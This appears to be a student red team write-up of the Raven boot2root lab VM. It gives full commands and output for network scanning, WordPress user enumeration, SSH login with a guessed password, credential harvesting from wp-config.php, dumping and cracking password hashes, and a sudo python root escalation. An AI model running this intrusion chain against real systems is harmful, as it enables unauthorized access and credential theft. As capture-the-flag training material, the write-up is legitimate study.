

Red Team: Summary of Operations

Table of Contents

- Exposed Services
- Critical Vulnerabilities
- Exploitation

Exposed Services

Network scan results for each machine reveal the below services and OS details:

- \$ nmap -sX 192.168.1.0/24

```
root@Kali:~# nmap -sX 192.168.1.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-02 18:17 PDT
Nmap scan report for 192.168.1.1
Host is up (0.00040s latency).
All 1000 scanned ports on 192.168.1.1 are open|filtered
MAC Address: 00:15:5D:00:04:0D (Microsoft)

Nmap scan report for 192.168.1.100
Host is up (0.00073s latency).
Not shown: 998 closed ports
PORT      STATE      SERVICE
22/tcp    open|filtered ssh
9200/tcp   open|filtered wap-wsp
MAC Address: 4C:EB:42:D2:D5:D7 (Intel Corporate)

Nmap scan report for 192.168.1.105
Host is up (0.00077s latency).
Not shown: 998 closed ports
PORT      STATE      SERVICE
22/tcp    open|filtered ssh
80/tcp    open|filtered http
MAC Address: 00:15:5D:00:04:0F (Microsoft)

Nmap scan report for 192.168.1.110
Host is up (0.0011s latency).
Not shown: 995 closed ports
PORT      STATE      SERVICE
22/tcp    open|filtered ssh
80/tcp    open|filtered http
111/tcp   open|filtered rpcbind
139/tcp   open|filtered netbios-ssn
445/tcp   open|filtered microsoft-ds
MAC Address: 00:15:5D:00:04:10 (Microsoft)
```

- \$ nmap -sV 192.168.1.110

```

root@Kali:~# nmap -sV 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-05 10:10 PDT
Nmap scan report for 192.168.1.110
Host is up (0.0011s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind      2-4 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Service Info: Host: TARGET1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

This scan identifies the services below as potential points of entry:

Target 1

- **Port 22 (SSH)**
- **Port 80 (HTTP)**
- Port 111 (RPCbind)
- Port 139 (NetBIOS)
- Port 445 (SMB), which is used for interprocess communication (i.e., filesharing).

The following vulnerabilities were identified on each target:

Target 1

- Port 22 is open; this provides us with the ability to SSH in with discovered credentials.
- Port 80 is open; this provides us physical access to the web server and exposed services.
- Exposed service:
 - 192.168.1.110/wordpress/

Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

Target 1

Exploit Used

- WPSCAN to enumerate a list of users.
- 192.168.1.110/wordpress/
- wpscan --url http://192.168.1.110/wordpress --enumerate u

```
[+] http://192.168.1.110/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] http://192.168.1.110/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.8.7 identified (Insecure, released on 2018-07-05).
| Found By: Emoji Settings (Passive Detection)
| - http://192.168.1.110/wordpress/, Match: 'wp-includes/js/wp-emoji-release.min.js?ver=4.8.7'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.1.110/wordpress/, Match: 'WordPress 4.8.7'

[i] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:01 <===== (10 / 10) 100.00% Time: 00:00:01

[i] User(s) Identified:

[+] steven
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] michael
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Wed Jun 2 18:28:43 2021
[+] Requests Done: 64
[+] Cached Requests: 4
[+] Data Sent: 12.834 KB
[+] Data Received: 16.949 MB
[+] Memory used: 117.453 MB
[+] Elapsed time: 00:00:03
root@Kali:~#
```

- wpscan to enumerate users, which helps identify the users to target.
 - Michael
 - Steven
- \$ ssh michael@192.168.1.110
- Used social engineering to obtain password.
- password: **michael**

```
root@Kali:~# ssh michael@192.168.1.110
michael@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Thu Jun  3 11:46:44 2021 from 192.168.1.90
michael@target1:~$
```

- Flag1 was discovered in **service.html** file located in the **/var/www/html** directory as root user.

```
michael@target1:~$ cd /var/www/html
michael@target1:/var/www/html$ ls
about.html  contact.zip  elements.html  img  js  Security - Doc  team.html  wordpress
contact.php  css  fonts  index.html  scss  service.html  vendor
```

- **Flag1.txt:**

[illegible]

- The second flag was discovered in in the **/var/www** directory.
 - **Flag2.txt:**


```

michael@target1:/var/www/html$ ls
about.html  contact.zip  elements.html  img  js  Security - Doc  team.html  wordpress
contact.php  css  fonts  index.html  scss  service.html  vendor
michael@target1:/var/www/html$ cd ..
michael@target1:/var/www$ ls -l
total 8
-rw-r--r-- 1 root root 40 Aug 13 2018 flag2.txt
drwxrwxrwx 10 root root 4096 Aug 13 2018 html
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:/var/www$

```

- Discovered login and password credentials in database server files.
- Credentials located in **wp-cong.php** file located in the **/var/www/html/wordpress** directory.

```

michael@target1:/var/www/html$ ls
about.html  contact.zip  elements.html  img  js  Security - Doc  team.html  wordpress
contact.php  css  fonts  index.html  scss  service.html  vendor
michael@target1:/var/www/html$ cd wordpress
michael@target1:/var/www/html/wordpress$ ls
index.php  wp-activate.php  wp-comments-post.php  wp-content  wp-links-opml.php  wp-mail.php  wp-trackback.php
license.txt  wp-admin  wp-config.php  wp-cron.php  wp-load.php  wp-settings.php  xmlrpc.php
readme.html  wp-blog-header.php  wp-config-sample.php  wp-includes  wp-login.php  wp-signup.php
michael@target1:/var/www/html/wordpress$

```

```

michael@target1:/var/www/html/wordpress$ cat wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://codex.wordpress.org/Editing_wp-config.php
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

```

- SQL database credentials
 - username: **root**
 - password: **R@v3nSecurity**

Exploit Used

- Utilized **SQL**
 - Login into SQL database: `$ mysql -u root -p`

- password: R@v3nSecurity

```
michael@target1:~$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 78
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
```

- Gained access to information in SQL database
 - \$ show databases;

```
mysql> show databases;
+-----+
| Database |
+-----+
| information_schema |
| mysql      |
| performance_schema |
| wordpress  |
+-----+
4 rows in set (0.01 sec)

mysql>
```

- \$ use wordpress;

```
mysql> use wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----+
| Tables_in_wordpress |
+-----+
| wp_commentmeta      |
| wp_comments         |
| wp_links            |
| wp_options          |
| wp_postmeta         |
| wp_posts            |
| wp_term_relationships |
| wp_term_taxonomy    |
| wp_termmeta         |
| wp_terms            |
| wp_usermeta         |
| wp_users            |
+-----+
12 rows in set (0.00 sec)
```

- \$ show tables;

```
mysql> use wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----+
| Tables_in_wordpress |
+-----+
| wp_commentmeta      |
| wp_comments         |
| wp_links            |
| wp_options          |
| wp_postmeta         |
| wp_posts            |
| wp_term_relationships |
| wp_term_taxonomy    |
| wp_termmeta         |
| wp_terms            |
| wp_usermeta         |
| wp_users            |
+-----+
12 rows in set (0.00 sec)
```

- \$ select * from wp_posts;

- Discovered flag3 and flag4 in SQL database which contain password hashes for Steven's credentials.
- Flag3.txt & Flag4.txt:**

```

michael@target1: /var/www/html
File Actions Edit View Help
As a new WordPress user, you should go to <a href="http://192.168.206.131/wordpress/wp-admin/">your dashboard</a> to delete this page and create new pages for your content. Have fun! | Sample Page | publish | closed | open | http://192.168.206.131/wordpress/?page_id=2
| 4 | 1 | 2018-08-12 22:49:12 | 2018-08-12 22:49:12 | 0 | page | flag3{afc01ab56b50591e7dccf93122770cd2}
| 5 | 1 | 2018-08-13 01:48:31 | 2018-08-13 01:48:31 | 0 | post | flag4{715dea6c055b9fe3337544932f2941ce}
| 7 | 2 | 2018-08-12 23:31:59 | 2018-08-12 23:31:59 | 0 | revision | flag3{afc01ab56b50591e7dccf93122770cd2}
| 7 | 2 | 2018-08-13 01:48:31 | 2018-08-13 01:48:31 | 0 | revision | flag4{715dea6c055b9fe3337544932f2941ce}
5 rows in set (0.00 sec)
mysql>

```

- Navigate to user table to dump password hashes.
 - \$ show tables;
 - \$ select * from wp_users;
- Discovered Michael's and Steven's hashed passwords.

```

mysql> select * from wp_users;
+----+-----+-----+-----+-----+-----+
| ID | user_login | user_pass | user_nicename | user_email | user_url |
+----+-----+-----+-----+-----+-----+
| 1 | michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael | michael@raven.org | |
| 2 | steven | $P$Bk3VD9jsxx/loJqNsURGHiaB23j7W/ | steven | steven@raven.org | |
+----+-----+-----+-----+-----+-----+
2 rows in set (0.00 sec)

```

Exploit Used

- Copied and pasted Michael's and Steven's corresponding hashes into a text file in Kali (attack machine).
 - \$ nano wp_hashes.txt

```
GNU nano 4.8 wp_hashes.txt
michael:$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven:$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
```

- Cracked the password hashes with John the Ripper.
 - \$ john wp_hashes.txt
- Discovered Steven's password: **pink84**

```
root@Kali:~# john wp_hashes.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 512/512 AVX512BW 16x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 1 candidate buffered for the current salt, minimum 96 needed for performance.
Warning: Only 79 candidates buffered for the current salt, minimum 96 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
Proceeding with incremental:ASCII
0g 0:00:02:49 3/3 0g/s 19113p/s 38220c/s 38220C/s blaunia..blash03
pink84 (steven)
```

- Gained remote access into Steven's machine via remote command execution.
 - \$ ssh steven@192.168.1.110
 - password: **pink84**

```
root@Kali:~# ssh steven@192.168.1.110
steven@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun 24 04:02:16 2020
$ whoami
steven
$ █
```

- Ran a sudo python script to escalate user privileges.
 - \$ sudo python -c 'import pty;pty.spawn("/bin/bash")'

```
$ whoami
steven
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@target1:/home/steven#
```

- Located final flag.
 - \$ cd /root
 - \$ ls -l
 - \$ cat flag4.txt
- **Flag4.txt:**

```
root@target1:/home/steven# cd /root
root@target1:~# ls -l
total 4
-rw-r--r-- 1 root root 442 Aug 13  2018 flag4.txt
root@target1:~# cat flag4.txt
```

```
-----
| __ \
| | / / _ _ _ _ _ _ _ _
| // _ \ \ / / _ \ ' _ \
| \ \ ( _ | \ v / _ / | | |
\ | \ \ _ , | \ / \ _ | | | |

flag4{715dea6c055b9fe3337544932f2941ce}

CONGRATULATIONS on successfully rooting Raven!

This is my first Boot2Root VM - I hope you enjoyed it.

Hit me up on Twitter and let me know what you thought:

@mccannwj / wjmccann.github.io
root@target1:~#
```